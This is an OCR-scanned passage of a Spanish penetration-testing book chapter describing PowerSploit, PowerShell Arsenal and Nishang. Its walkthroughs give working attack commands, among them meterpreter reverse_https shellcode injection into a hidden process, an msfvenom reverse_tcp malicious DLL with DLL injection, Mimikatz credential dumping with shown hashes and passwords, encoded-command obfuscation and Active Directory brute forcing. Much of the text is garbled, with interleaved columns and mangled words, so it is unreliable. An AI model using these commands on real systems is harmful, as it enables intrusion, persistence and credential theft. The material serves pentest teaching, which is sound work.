¢ seguridad es algo prioritario en un test de intrusion.

En la siguiente tabla se muestran las distintas funcio

nes que pueden ser ejecutadas a través de este
modulo:

Funcién Descripcion

——

P ——

Esta funcion inyecta una shellcode dentro de un proceso
indicado, siempre y cuando se tenga el mismo o superior
privilegio, o en el propio entorno de la consola de PowerS-
hell. La shellcode que se inyecta es un windows/meterpreter/
reverse_htips
Ejecuta una shellcode dentro del contexto en el que se eje-
cuta la PowerShell sin utilizar ninguna llamada a funciones
Win32

Inyecta una DLL dentro de un proceso seleccionado por el
usuario

Invoke-Shellcode

Invoke-Shellcode MSIT,

Invoke-Dllinjection

e ———

2 . Carga un archivo Windows PE (DLL o0 EXE) en el proceso
Invoke- :
oke-ReflectivePElnjection de PowerShell o inyecta una DLL en un proceso remoto

: Funciones de Code Execution en PowerSploit,

Tabla 3.23

N

n ser utilizadas en la fase
onan resolucién inversa de
ndo ser utilizada en 1a fase de

Arsenal son las que se enumeran a
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Exfiltration
Seript Modification

mas desapercibido, cifrar

. ud pare. pasar Las funciones de esta categoria son ulilizadas p
i - Ene mai ; |
lounas ocasiones es necesario generar Enc odec/(,ofn 7 et o o Les et
En alguna d de ciertos scripts para almacenarlos en disco o comp i o oo
et 18 efias modificaciones pueden resultar utiles una v
i i6 s pequ
ejecucion. Estas p

ara mostrar y manipular informacién del sistema
és de PowerShell. Son funciones importantes que pueden ser utilizad

as durante
el pentest para conseguir capturas de pantallas, realizar pivoting de procesos. gestionar

copias de
archivos bloqueados por el sistema, captura de pulsaciones, eteétera. A continuacion se muestra una
en la maquina comprometida. o, descripeion de las funciones que integran el modulo.
g s S .
.+ te tabla se muestran las distintas funciones que pueden set e |
o iguiente tabla s 3/ o e
En la sig Funcién Descripeién
-
cion 7 5 . s 3
Funclén Descrip e T o Esta funcién requiere de permisos de administrador. Permite
. . e i of . v g o
Elimina los comentarios y espacios en blanco enumerar y gestionar los diferentes /oken que pueden existir en
Remove-Comments : . hivos o scripts. Esto puede ser el sistema operativo. Es una funcién muy potente en Ta post-
Cifra el contenido de archivo 8 S i ' ] i by p
te si se quiere almacenar en un equipo. durante Sl explotacion, ademas, permite realizar pivoting entre procesos,
i (3 5 g 3 : e
- r ejemplo, una cadena de conexion, o Por ejemplo, se puede ejecutar un proceso con cierto privilegio
e informacion referente a, por €) e 45 de la red Iivoke-Token Manipulation : : : . S
e datos obtenidos que quieren ser enviados a traves , y después realizar la captura de sus pulsaciones, juntando la
s eteétera impersonalizacion de rokens con la funcion de kevlogging. Dos
I Base64 y genera una salida en formato ‘ ejemplos sencillos son /nvoke- TokenManipulation —Enumerate
. 5 g 2, n 2 < . : ! r «
e j:(;: la cual pue;c ser ejecutada a través de Y Invoke-TokenManipulation —TmpersonateUser —Username *1n1
EncodedCommand, ll.eve —EncodedCommand <salida authorit\svstem "
Out-EncodedCommand la instruceion PowerShell.exe —f — — ~ '
generada> Esta [uncion crea un inicio de sesion con credenciales en texto
il Base64 y genera un codigo para cargar una Invoke-Credentiallnjection | plano y se puede inyectar en LSALogonUser. para posteriormente
2 - 1 Base 4 A% ; 3
Dl Comprime, encoded €1 DAL o i ser utilizado desde un /ogin de RDP o un login local
~-Compressec manas TET 2 z : 5 :
Out-Comy == osaerShloit TN oy Esta funcion copia un fichero desde un sistema NTFS mediante
Tubla 3.24: Funciones de Script Modification en Fowerspton. mvoke-iNimjaC opy
¢ B AL A

lectura del volumen en bruto y analizar sus estructuras

Esta funcion carga Mimikatz 1.0 en memoria utilizando

PowerShell. Esto puede ser utilizado para hacer un dumpeo de
Persistence poder ejecutar codigo o un seripf en

dd Bivokebinika credenciales sin escribir nada en disco. En una fase de POSI-
. ihili e - ioe ‘ane-m alz r e s .0 - .
La persistencia es vital en algunos entornos. La posibilida st a recuperar el control de una maquina explotacién puede permitir obtener informacion sensible de
” b ? n . . - o -4

o 1ento programado en el tiempo puede ayudar al pente los usuarios, como por ejemplo sus contrasefias. La funcién es

un mon ; .
: ovi aplicable hasta Windows §
comprometida previamente. I ¢
Sk ? Esta funcién registra las pulsaciones realizadas por ¢ usuario de la
Deseripeion AR ( ) ma uing sobre la ventan ‘acli :
Funcion {ferentes opeiones relacionadas con la o q ntana va
Configura difere dan ser utilizadas por la funcion Esta funcion recupera contrasefias en texto plano y otra
eOnltion persistencia para que pue ; ) Ger-GPPPassword informacioén de cuentas que fueron abiertas a través de las politicas
New-UserPersistencel] Add-Persistence = de directivas de grupo
diferentes opciones relacionadas con la = — ' : . .
Configura di 40 de acciones Esta funcion realiza screenshots, siendo configurable ¢l intervalo
; IPersistenceOption rsistencia y la elevacion de e e fncn= A = 5
New-ElevatedPersiste pe - = e Get-TimedScreenshot de actuacion. Las capturas de pantalla realizadas se almacenan en
Crea persistencia en ¢l sistema de un m una carpeta
-Persistence scurity Support e - = -
A Instala una DLL que aporte un SSP. Security SUpPOT ——— Gel-Vi Enumera las rutas de los dispositivos de todos los voltimenes
tall-SSP P cargados ei-VolumeShadowCopy : 5
Thsta Enumera todos los SSP carg; et ’ locales compatibles con shadow copies
Ger-SecurityPackages ; ’
Tabla 3.25: Funciones de Persistence en PowerSploil.
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Funcion

Descripcion

Mount-
VolumeShadowCopy

Monta un volumen en modo shadow copy

Get-VaultCredential

Recupera las credenciales almacenadas en VaultlCrede(r;n::cl,i :lles
i a las crede
el sistema que almacen
cual es un componente d : '
introducidas en sitios web y credenciales de Windows

Qut-Minidump

examinar lc que EI pl 0Ceso alberga en memorta

Tubla 3.26: Funciones de Exfiliration en PowerSploit.

Otros: Mayhem, Recon y AV By p?szn funciones para recopilacién de informacién,
: AV Bypass proporcion ‘ da modulo
Los modulos Mayhem, Recony A do en un solo apartado debido a que ca
g i6n de antivirus. Se han agrupado en un sol b : ibles.
ﬁ"g:?. ’p’el ’;)t(l)’gsyfi\r/:.:sil)o:es A continuacion se enumeran las distintas funciones disponible
contien :

Funcion

Descripcion

Find-AVSignature

Localiza Single Byte AV utilizando el mismo m<'§todo quf l;)}Splft desde
:'classl 01" Esta funcién pertenece al modulo AV Bypass

Set-MasterBoatRecord

rescri aster
Fsta funcién es una prueba de concepto que §ob1escnbe e! é\ilo L
Bo:n Record con el mensaje que el usuario indique. Este mo p
tenece a Mayhem

Set-Critical Process

i 5. Es 6dulo
Esta funcién provoca un pantallazo azul en Windows. Este mo
‘ pertenece a Mayhem

Invoke-Portscan

: B asi cresante
Esta funcién proporciona un escaner de puc'rtos basico. :::t:; i
funcién para la fase de fingerprinting. Este modulo perten
lo Recon

Get-HTTPStatus

odi tado
Esta funcion realiza peticiones HTT]" y devuelve el ccl)dl%)(::l lci;:(’e]saeamy
la direccion URL completa. Este modulo pertenece a m sy
Un ejemplo sencillo de ejecucion seria Ge!—HltpSlatusd —dc?rgctorios ;
jecucid i hacer fuerza bruta de dire
inio>. Esta ejecucion comienza a : d
o recursos y devuelve el codigo HTTP y la direccion URE |

Invoke-ReverseDns-
Lookup

i ; nece al
Realiza un escaneo a los registros PTR. Este madulo perte

modulo Recon

Tubla 3.27: Diferentes funciones en PowerSploit.

Ademas ser utilizados para la fase de
i icci i ili para |
G § a diccionarios que pueden ;
el modulo Recon proporciona d : ] ik
i : inistracion.
genérico y un tercero para la bisqueda de paneles de administra

Capitulo Ill. PowerShell puro: El arte del pentesting m

PowerShell Arsenal: Disassembly

Este mddulo proporciona funciones que permiten desensamblar codigo nativo Y imanaged obteniendo
diferentes formatos. A continuacién se enumeran las funciones correspondientes con el modulo:

Funcién Descripcién
7 Esta funcion desensambla un binario devolvien ray es
Get-CSDisassembly ol S : do*un arvy o Lles
: utilizando Capstone Engine disassembly Framework
Get-ILDisassembly Esta funcién desensambla de forma similar a como lo haria ildasm

Tubla 3,28: Funciones de Disassembly en PowerShell Arsenal,

PowerShell Arsenal: Malware Analysis

Este modulo proporciona diferentes funciones relaciona

das con el analisis de archivos, generalmente
en busca de malware. A continuacion se describen las di

ferentes funciones correspondientes con este
modulo:
Funcién Descripeion
" . Proporciona un Wrapper de un ejecutable ara una funcién
New-FunctionDelegate P Pr J P >

en x86 0 x86_64

Crea un wrapper de una funcién exportada

New-DIIExportFunction

Invoke-LoadLibrary

Carga una DLL en el actual proceso de PowerShell
" Parsea y devuelve el contenido del fichero hoszs del sistema
Get-HostsFile ’ : ol vt
Windows
o . Esta funcién permite reemplazar afadir una entrada
New-HostsFilekntv P p & g = al
e fichero de hosts del sistema
. Esta funcién permite eliminar una entrada del fichero de
Remove-HostsFileEntry P X
* hosts del sistema
5 3 Esta funcién devuelve un outpur con todas las strings de u
Get-AssemblyStrings ; P ? da N
ejecutable NET
. Esta funcion extrae todos los recursos managed de un
Ger-AssemblyResources &

i,

ensamblado .NET

Devuelve todos los métodos de un ensamblado que estan
implementados en MSIL

Tabla 3.29; Funciones de Mahvare 4 nalysis en PowerShell Arsenal.

Get-
|_AssemblylmplementedMethods

PowerShell Arsenal: Memory Tools

s nspeccion y anlisis de procesos es un paso importante para el andlisis de la memora y las
Sltuaciones que han ocurrido u ocurren en este instante en un equipo. Para este tipo de situaciones
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: Capitulo lII. PowerShell puro: El arte del pentesting
$ ing con PowerShell ; : R & i S
Pentesting con Powet
y = .. el cual implementa los Funcién Descripcion
di e de un modulo denominado Memory Tools - . = p
PowerShell Arsenal dispon Get-Systemlinfo Esta funcion es un wrapper de A'ernelj.?.»’GelSvsreminfo
S i funciones. - :
siguientes tipos de = . Tabla 3.32: Funciones de Windows Internals en PowerShell Arsenut.
escripci
cion (rines imprimibles
L Esta funcion devuelve como oufput todas las strings imprim
Get-ProcessStrings de un proceso que se encuentra en mMemoria - PowerShell Arsenal: Misc
o Vi, ueryLx A L A 5 &, o8 o L
I Esta funcién es un wrapper para ker nel32!VirtualQuer, - Este modulo proporciona funciones con diferentes objetivos, pero que pueden ser (tiles en diferentes
Gor Fomy P e funcion proporciona al usuario informacion de la memaoria escenarios. Por encima del resto destaca la famosa Ger-Strings, la cual es una réplica de strings.exe
Estf:l t UI;C aralz:ada conjunto de paginas que se encuentra en la de Sysinternals. A continuacion se describen las diferentes funciones que forman parte de Misc.
irtua NS :
Get-Process Memoryinfo v menﬁm‘ia Esta funcion es similar a /vadump WinDbg
- inistrado de i inci
Esta funcion proporciona datos de un bloqug no ?dmlmst Funcién Descripcion
Get-StructFromMemory la memoria en un proceso arbitrario Ger-Strings Dumpea las strings de un fichero en formato Unicode o Ascii, Es una réplica
\ Toals en PowerShell Avvail de la funcionalidad de Sysinternals strings.exe
- Funeiones de Memory Tools e : ‘ o .
Tahla 3.30: Fyncior Get-Member Esta funcién extiende el cmdlet Ger-Member, la cual anade el parametro
Private, el cual permite mostrar members no piblicos de NET
: Parsers - s o o S . g e
PowerShell Arsenal: P : nan la nosibilidad de realizar parseos sobre ejecutables ConvertTo-String Convierte los bytes de un fichero a sz ing
Este modulo presenta funciones que p;(;p(;cl()llil LF médulo consta de 4 funciones, las cuales se Ger-Entropy Calcula la entropia de un fichero o un array de byvres
oo . . sidos como file jormats.
en memeoria o k'” (;()1'1'0(.1(10 ‘ Tabla 3.33: Funciones de Misc en PowerShell Arsenal,
describen a continuacion.
= Descripcion PoC: Code E
Funcion ==y . . &
= B Dumpea un proceso y parsea el PE _ ¢ ode Execution Rgcon
Cal Encuentra archivos PE en memoria En esta prueba de concepto se va a trabajar con los médulos Code Execution Y Recon de PowerSploit.
~ nc . N s e \ yoo G
Find-ProcessPEs s simbalos desde indows LIB El escenario de esta prueba de concepto contempla la fase de reconocimiento Y fingerprinting y la
Muestra los St fase de post-exploitati
ST - 2 . s y: xploitation.
Gl s Muestra informacion acerca de los objetos OBJ en Windows
" : VIUestre
Get-ObjDump

En primer lugar se utilizardn las funciones Invoke-Portscan Y Get-HttpStatus para obtener
informacién sobre una maquina remota. Esta maquina remota tendréd un gran nimero de puertos
abiertos y servicios corriendo en ella. E] pentester utilizard estas funciones con el fin de obtener

f sers sowerShell Arsenal.
Tubla 3.31: Funciones de Parsers en Power Y}

) 1 un mapa de puertos y servicios, y por otro lado utilizara la segunda funcién con el fin de encontrar
PowerShell Arsenal: i lntel:::n:r informacion a bajo nivel del sistema recursos HTTP y el estado que se devuelve de éstos.
Este rr'lédlllo P“’Po.mim?a lgl]Clop(frs;n:t:ee:l}el:uli?’)ncll?l(: son presentadas a continuacion. La ltuncién ln.vake-Por‘/.s'wn dispox?e de una serie de pardmetros, los cuales ofrecen una funcionalidad
operativo. Las funciones que con flexible de dicha funcion. A continuacion S€ presenta un cuadro resumen de los pardmetros mas
= Descripeion interesantes y las posibilidades de descubrimiento que ofrece la funcion,
s slve ¢l PEB de un procesos. es decir, el Process
. Reyuei Environient Block _ Parimetro Descripcion
: — Registra una traza de mdulos cargados Permite indicar diferentes Aosts en la linea de comandos separados por
Register-FrovessModuleTrce Muestra informacién sobre los médulos cargados en los . Hosts comas. Este parametro soporta IPv4 CIDR, por lo que se pueden indicar
Get-ProcessModuleTrace procesos - redes, por ejemplo 80.0.0.0/24
Detiene la traza de modulos cargados |

Unregister-Process ModuleTrace
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Parametro Descripcion
HostFile Permite indicar un fichero con los /osts a escanear
ExcludeHosts Permite excluir hosts separados por coma
Port Permite indicar los puertos que se quieren escanear separados por comas.
oris sip . . s . =
También se permite indicar un rango de puertos, por ejemplo 20-500
PortFile Se indican los puertos desde un fichero de texto
Permite indicar el nimero de Top Ports que se quieren escanear. Por
TopPorts : 5
defecto es S0
ExcludePorts Permite excluir los puertos indicados en este parametro
" Deshabilita el escaneo de puertos y realiza un escaneo a través del proto-
PingOnly
; colo ICMP
XmlOut Devuelve en XML el descubrimiento realizado
3 Devuelve los resultados en ficheros con diferentes formatos como son
Allformats Out
, nmap, .xml 'y .gnmap

Con la informacion anterior se puede entender que |
entendiendo esta funcion como bastante flexible. Adema
herramientas es un punto a su favor,

por ejemplo nmap.
"Tnuoke

Tubla 3.34: Pardmetros de Invoke-Poriscan
a funcion dispone de diferentes opciones,
s, el poder utilizar esta informacion en otras

gracias a la exportacion a ficheros XML y otros formatos, como

—Portscan.psi v@.13 scan initiated B8/8872015 15:37:41 as= I'nvoke—Fo

Port Scanning
[00000000000000000000000000000 1

starting computer 121

PS D:\libros\pentesting powershell\PowerSploit—master\Reqon> Invoke—Portsca
n -Hosts 192.168.56.8/24 —PingOnly t Yhere—Object <5_.alive —eq Strued

Hostname
alive
openPorts
closedPorts
filteredPorts
finishTime

Hostnane
alive
openPorts
closedPorts
filteredPorts
finishTime

openPorts
c}osedPoPtS

S

EE A0 wE AR RR RN

192.168.56.161
True

<>

3

{2

98.,88,2015 15:43:392
192 .168.56.162

True

&3>

i 2

3

#8,08,2815 15:43:39

192.168.56.255
True

&
{443>

2
#8.,88,2015 15:43:39
Fig. 3.37: Descubrimiento de maquinas en una red a través de ICMP.
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Enlai
1la 1magen se puede visual
respondan a ping.

Ademas, los objetos devueltos
los que han respondido
4‘ C 3 £ ~

todos los objetos generados. uno por

.=\f'1(>re? se utilizara la funcién Invoke
n?aquma €n concreto, en este caso |
visualizar en la imagen, |
caminos al pentester que
[PS D:\1ibros\

—Hosts 192.168.56_192 —Ports 26-508

Hostname
live

openPorts
losedPorts

FilteredPorts

inishTime
IPS D:\1ihy

Para finalizar con |

PS os\pentesti Jer
Portscan -Hosts 192?g63?¥gfi351};§ggfr

Pg D:\libvos\pentes

as funciones de R i
v : £ : S econ 'y viendo que |z
abierto se puede utilizar | : ik s

y-li )‘-\’;-\-‘ T
cuales se describen a continuacion.

ntesting

=

a de maquinas que

1zar como se escane:
10 5e escanea la red 192.168.56.0 24 en |
~WLULs €n buse

por la funcidé oke
1on Invoke-Portscan son fil

a dicho ping s oni

ara que solo se muestren

Sle\ld estriccion ) 101¢ d\(l() > f TUT:
. N SIrICCIon ne ] )M
l [
3 O Nl“d(i

cada host. a se mostrarian ‘

—l-"or/.\'c‘r’m para llevar a cabo un escaneo d
: e ; i < O -]
s a maquina con direccién IP 192.168.56. 1 i
e L e 92.168.56.
quina tiene un gran nimero de puertos abiert

deben ser ev ¢
eben ser evaluados en la fase de explotacion

b puertos con una
- Tal y como se puede
0s, lo cual abre diferentes

pentesting powers}
vershe11\PouerSploit
—master\Recon) |
nuoke

192.168.56.182
True

<21, 22, 23, 25
20, 24. 29 33773
% 2aiSaghEzis

88/08,20815 15:52:58

Sploit—mas .
28—268 master\Recon> Spoprts =

ting powershell\PowerSploit—ma°

Involg

ter\Recon> $ports.openPo

e 3.38: D aei
g. 3.3 Desculs rimientao de Er7 € 0 i, P s
de puertos abiertos ¢ / P
/ .38 [ 2 orertos con Invoke “aoriscan.

DGR aquina 192,168.5 2 ti
a func it N ‘ X = [95,26.102 ok & s
cion Ger-HupStatus. Esta funcién dispone de al o s

8unos parametros. [os

I

’ardmetro
a Descripcion
arget I ifi
; =specifica la direccién w i i
é on web o direccié
>c1on IP del host remot
— n0851 remoto
— Especifica el host remoto
E- sotifien & e
- specifica el puerto remoto con el que se debe conect
UseS Este parimetro es de ting S e
UseSSL ¢ parametro es de tipo Switch, por lo que si se indic

por | a se utiliza ¢
conexion SSL o

Tal =
abla 3.35: Parametros de Get-HipSratus
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arvidor web de la maquina
: > recursos sobre el servidor we :
jemplo se va arealizar una blisqueda de recursos ,\T, Nt SR e
74 o] cioniente eilemplo se ve alld : ) - cadico. es decir, las s S -
En el siguiente gje e il ‘ s et con
8 | | o p § A recursos exisie en e
- z 2 sta bisqueda se ve or:Gad N
s g ‘_"“ t‘.I 2 ‘ctll"id"ls‘ ' Cual es el objetivo? Poder conocer
sdico “20%" seran las mostradas, L
codigo “2(

servidor y se tiene acceso sobre ellos.

i ster on> Get—HttpStatui
testing pouershe11\quer8plo1§;m§05§2:2g8hject S Siatas

e 16 Y6 gg 182 —Path .\diccionario. H

—Target 192.168.56.

A IIOKI!}

i ! P v !! "
Fig. 3.39: Obtencion de direcciones URL de un servido
. : evuelve con la
i iones U : ver el estado que d ‘
uede conseguir el listado de dlreccmnn]LRL y ;) e”h e aTE o
En resumen, s€ p S o _Tareet www.example.com -Pc ey |
O iy e Dhjec sde ser sustituida por
it . N st-HittpStatus -1arg : le i e
S (NS‘ [(" sde -eq 20}, La mstrucclion Select (3/.?/6( I
& ST here ! s Cc = Z . . e l-“'().
| Select-Object {fwhere Sta ‘ s
! s ’()l :l t llﬂ cual se ha utilizado mas durante el desa
Where-Object., 1a cud

g S se Z a lase ae ‘t-exploitafion, aunque si se
ili B ase de posi-exploitalion, i
unc es de Cod Execution seran utili zadas ya en la fas d ,lin | i e ot
. finet 2§ de Code & Uario s rivilegilo se poc : : ¢
l as 1 l]] ‘(‘l] D . e - - ]O[I L‘()ll‘]() Llll \lb\lk ) ‘I o ]n'l
& % a sesion remotd ' reneral se utilizaran und
= 5 SADE v ey a Ll‘] eL llll)\\ 0 Lll’t = - 0 Ol ]() t 1 [ -
wo 1‘1 1J) s \l > incluso ])t.‘l'bit\'[chl(l en el equipo, perc P g2
ié ara ganar acceso, € S P
tambien para gal

yez que la explotacion haya funcionadc

S( oke-Shellcode, Invoke-
esentan en esta prueba de conceplo son /’I‘\{')/‘}li{; e s
e s P'e?"'. ' fion. Las dos primeras funciones son .Ls.lmH'L ‘.U.j% b e
o /”‘V“/\WDIHI"Z/)‘ (S ’//;"udef\lSlL es que la segunda no Llllllla- ‘Am; C;;mmmd(m 2
ke “l‘ '”c; sara evitar un comportamiento sospechoso. A co
Win32. lo cual puede ser aprovechado pare

d 1 FEw ("//( ) {IL’
» S Dé ne )S de S \'Ul o Sll HCOC
1&..["1”"” l S I (1['4']1 ELros d‘. [a.\ “H“_lonk,h /” C

C 5 :

Descripcion
Parametro

LR o« < e 7 L ec ) '” 0 ['
! A 1a Srie
S l Ild[L lLl “_)(L llo(.k.bk ]L Y C
l t o
I )L\‘\I/) 11§ € 1 l ) ) (0O ( I 1a 1 COl

te. a ejecutar una shell-
S de especificar un array de hytes para ejecuts
S pucdc S5L ¢ E
. [ code
Shelicode

: ilizar. Solo se dispone,
Se puede especificar que pavioad utilizar. ¢ l" s .,l-,,l/(m.\,,
it meterpreter/reverse_hip y ;
actualmente, de \\'Ilif/()\lS:'Hl("/c’l/)lL(’LI»)(’\L { /
) dlClUc 5 } = ;
A meterpreter/reveise_nlps

]

- ¢ i / ias 7/()”
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Parametro

Descripcion
Fiiirt Indica en qué puerto esc_ughara la maquina del pentester para
recibir la conexign
; Se puede indicar que {
Userdgent P s

IserAgent utilizar cuando se |
Meterpreter a través de HTTP o0 HTTPS
Es un parametro tipo swizch, el
Legacy

i ler para Meterprei

anza un

cual indica si se utiliz
er descontinuado o se utiliz
Especifica si se utilizard un Proxy.
por lo que si se activa se

a un hand
a el moderno
Es un parametro tipo switch,
cogeran los valore
maquina como Proxy

Proxy

s configurados en la

Tabla 3.36: Pardametros de Invake-Shellcode.
Ahora, el penzester puede crear un proceso oculto, por ejemplo un note
ejecutar esto es Start-Process

pad.exe. La instruccion para
notepad.exe —~WindowStyle hidden,

Para poder recuperar el identificador de proceso se
instante. Ahora, se lanzara la si

C
oculto y corriendo en el sistema.

Para llevar a cabo esta accion se ejecuta |
Invoke-Shellcode -Pavload windows/me
-ProcessID 360).

puede ejecutar Get-Process o taskiist en cualquier
2lleode inyectandola sobre el proceso notepad.exe que se encuentra

a siguiente instruccion tasklist. exe | findstr notepad.exe:
lerpreler/reverse_htips -Lhost 192.168.56.10] -Lport 84

3
43

Fig. 3.40: Obtencion de sesion de Meterpreter con reverse hitps.
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Por tiltimo, es importante hablar de Invoke-DliInjection. Esta funcién permite inyectar una DLL en
un proceso existente en la maquina utilizando su PTID. Una DLL puede ser fAcilmente inyectable en

un proceso.
La tmica desventaja es que {a DLL debe ser escrita en disco. lo cual puede hacer que sea detectada

por los motores de antivirus.
4metros que proporciona esta funcion.

A continuacion se muestran los diferentes par:

Parametro Descripcion
ProcessID Se puede indicar el [D del proceso donde inyectar la DLL
DIl Ruta dénde se encuentra la DLL que sera inyectz.ida en el proceso. La
L ruta puede ser absoluta o relativa
e-Dilinjection.

Tabla 3,37: Parametios de Invoke
;Como generar una DLI. maliciosa de manera sencilla? Hay que tener en cuenia gue este método
puede ser detectado por gran cantidad de antivirus, pero existen otras formas para lograr la evasion.
la DLL se utilizard la herramienta msfvenom del framework de Metasploit. La
windows/x64/meterpreter/reverse_Icp LHOST=<direccion IP
el handler= -f dll > malicioso.dll.

Para generar
instruccion seria msfvenom —p
penfester= LPORT=<puerto por el que escuchard

ada la DLL se puede crear un proceso oculto como se hizo anteriormente. por
ve —WindowStyle Hidden. Posteriormente, se puede inyectar la
uceion Invoke-Dillnjection ProcessID <ntimero
ar el handler de Metasploit

Una vez se tiene gener
on Start-Process notepad.e
la siguiente instr
En el otro extremo hay que configur

ejemplo ¢
DLL en el proceso generado con
de PID> -DIi <ruta de la DLL>

para recibir la conexién, como se ha visto en otros ejemplos.

n con Exfiltration + Persistence

os modulos Exfiltration’y P
_TokenManipulation, Invo

PoC: Post-Exploitatio
concepto se estudian funciones de |
on se trataran las funciones Invoke

ersistence. Respecto

En esta prueba de

al médulo Exfiltrati ke-Mimikatz, Get-
TimedScreenshot y Out- Minidump.

La primera funcion va a permitir al pentester impersonalizar los usuarios que hay en el sistema,
también pudiendo enumerar @ éstos.

Mediante el uso de Invoke-TokenManipulation _Enumerate se puede lograr listar los (okens
ar un proceso en la maquina y que este gjecute con

disponibles en el sistema. También se podra cre

otra identidad.
Para poder enumerar tokens y utilizarlos se debera ejecutar como administrador la sesion de

PowerShell.
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g ; 64899 (ABBRR0RN : ABABEFd83D
Interactive from 1
fidninistrator

pshell8
8—1—5—21—35072?5698—1183418431—6@8808615—588

nsv =
[ABBBANA3 1 Primary

» Username : Administrator
% Domain pshell8
* LM 8?3517203&77d2c65aacd84cd494924f
» NTLM ?GlSaa2627690da1180058d3f2937f18

» SHA1 354417c7a665da7483?38c65d8dcc7b3f1cbe274
tspky =

»* Usernane
¥ Domain

» Password
udigest =

»* lUsername
% Domain

» Password
livessy -
kerberos =
* Username
% Domain

» Password
ssp : ;

credman *

TR L

Adninistrator
pshell8
123abhc. -

Administrator
pshell8
123abc. -

Administrator
pshell8
123abc. -

Fig. 3.42: Dumpeo de credenciales con Mimikaiz.

I'vas ver todo el potencial que ofrece Invoke-Mimikatz se vaaestudiarla funcion Get-TimedSereenshot.
Esta funcion permite obtener capturas de pantalla a través de PowerShell. La funcion puede ser
utilizar para llevar a cabo capturas en remoto, aunque también se podria dejar un proceso oculto que

realice esta operacion en un equipo con acceso fisico.

La funcién permite recolectar cereenshots en un intervalo de tiempo regular y almacenarlos en
disco. La sintaxis es sencilla Ger- TimedScreenshot —Path <directorio dénde almacenar capturas=
_Interval <tiempo en segundos entre capturas> -EndTime < hora a la que se deberia dejar de realizar
capturas>. Por ejemplo, Gei- TimedScreenshot —Path c:\pruebas nterval 60 —EndTime 20:00.

Por ultimo, queda la funcion Out-Minidump con la que el pentester puede realizar un volcado de
memoria de un proceso a disco. Esta funcion se equipara a la aplicacion proc dump.exe. La funcion
presenta un par de pardmetros como son Process y DumpFilePath. El primer parametro indica el
proceso que se quiere volcar, y se obtendra con Get-Process. El segundo parametro indica en que

ruta se almacenara el volcado.

PS D-\1libros\pentesting pouershell> Get-Process notepad
PHCKD WS CKY UMCH CPU<s)

5576 90 9.88 3888 notepad

PS D:\libros\pentesting powershell> Get—Process notepad | Out-Minidunp ~DumpFilePath C:=\U
lez\Desktop\dunp

Directorio: C :\Users\pgonzalez\Desktop\dump

Id ProcessName

sers\pgonzd

Mode LastiriteTine Length Name

62662993 notepad_3888.dnp

e 15/088,2015 1:26
PS p:\libros\pentesting owershell>
Fig. 3.43: Obtencidn de un voleado de memoria de un proceso.
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$Opciones -Verbose -PassThru | Out-EncodedCommand | Out-F ile .\EncodedPersistentScript.
psl. El parametro ElevatedPersistenceOption permite indicar cuales son las opciones si se tienen
permisos elevados. La funcién New-ElevatedPersistenceOption €s la que genera dichas opciones, de

forma similar a como lo hace New-UserPersistenceOption.

Esta es una manera sencilla de dotar de persistencia a los scripis ante diversas condiciones. como €s
la posibilidad de tener permisos de usuario o permisos mas elevados. Una manera sencilla y comoda

de generar persistencia a seripts utilizando el SeriptBlock como piedra para crear el contenido.

Ademas, el uso de Out-EncodedCommand permite obtener un EncodedCommand que ofusca el

contenido para que no sea tan visible.

6.Nishang

Nishang es un framework o coleccion de scripts de PowerShell, el cual proporciona una serie
de funcionalidades que pueden ser utilizadas por un pentester durante el desarrollo de un test de
intrusion. Nishang habilita el uso de payloads y de los scripls de PowerShell para un test ofensivo o
test de intrusién contemplando diferentes fases de éste. En lineas generales, es un potente conjunto
de herramientas que pueden ser utilizados para la post-explotacion. La direccion URL donde se
puede descargar Nishang es l:trp.s'://gitlwb.cnn1/sammla.\-hok/nishang.

Nishang esta compuesto por diferentes modulos que forman el framework global. Los diferentes

madulos son descritos a continuacion:
- Antak - Webshell. Este médulo proporciona la pos
descarga y sube archivos, ejecuta comandos y gjecuta §

de la maquina.
Backdoors. Este médulo proporciona diferentes funciones que instalan una backdoor.
stalar hackdoors en el sistema y que

ibilidad de utilizar una webshell que
cripts de PowerShell en la memoria

e utilizan diferentes protocolos y mecanismos para in
puedan ejecutar instrucciones a través de ellos.
- Client. Crea archivos en diferentes formatos, como pueden ser Word, Excel, JAR, y les
inyecta instrucciones de PowerShell. Este modulo es interesante para utilizar la via del
usuario y el archivo malicioso que ejecuta instrucciones.

- Escalation. Este modulo proporciona 2 funciones que ayud
privilegios en el sistema comprometido.
- Execution. Este médulo proporciona funciones que ayudan al pentester a descargarse

codigo, por ejemplo a través del protocolo DNS. 0 desde un servidor web, y lo ejecuta a

través de PowerShell. Los mecanismos utilizados para conseguir la ejecucion de codigo son

interesantes y funcionales.

- Gather. Este modulo proporciona funciones que a
del sistema. Algunas de las funciones son mas agresivas
sistema. Este médulo tiene funciones muy utiles en la post

an a conseguir elevacion de

yudan a la recopilacion de informacion
configurando un keylogger sobre el
-explotacion como, por ejemplo.
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Descripcion
Esta funcion elimina actualizaciones del sistema de forma silenciosa. El primer
P e:iemplo es Remove—U.pdare All, el cual elimina todas ]Z.IS acmalizaci‘oqes del
Update sistema. El .segundo ejemPIO es Remove-({pdate Seczu'n_)_'. el cual elimina las
actualizaciones de seguridad de la maquina. El tercer ejemplo es Remove-
Update KB2761226, ¢l cual elimina la actualizacion KB2761226

Esta funcion calcula el hash MDS5 de los procesos que se ejecutan en la
maquina y los contrasta contra la base de dato de VirusTotal. Un ejemplo es
Prasadhak —APIKey <APIKey>
Esta funcion realiza un ataque de fuerza bruta contra SQL Server; Active
Directory, Web o FTP. Un ejemplo seria Invoke-BruteForce -ComputerName

_ targetdomain.com -UserList C \users. ixt -PasswordList C:\wordlist.txt
Brute-Force ¢ S .
_Service ActiveDirectory —StopOnSuccess. Este ejemplo lanza fuerza bruta
contra el directorio activo, utilizando un listado de usuarios y un listado de
contrasenas

Funcion

Prasadhak

Esta funcion realiza un escaneo de direcciones IP, nombres de host y puertos
abiertos en la red. Un ejemplo seria Port-Scan -StartAddress 192.168.0.1
_EndAddress 192.168.0.254 -ResolveHost —ScanlPort.

Port-Scan

Tubla 3.39: Funciones de Prasadhak, Scan, Escalation v Antak en Nishang.

Backdoors
Esta categorfa agrupa funciones que pueden ser utilizadas para instalar backdoors en el equipo.
consiguiendo ejecutar instrucciones a través de diferentes protocolos, como por ejemplo HTTP o
DNS. Las funciones son realmente ttiles en algunos entornos, como por ejemplo donde el pentester
tiene acceso fisico y necesita descargarse los scripls a través de un protocolo permitido como el
DNS. o un entorno dénde el pentester necesita instalar una hackdoor para poder volver a ejecutar
instrucciones. A continuacion se enumeran las diferentes funciones que constituyen en este maodulo.

Descripeion
Esta funcién ejecuta un pavioad el cual realiza una consulta a una
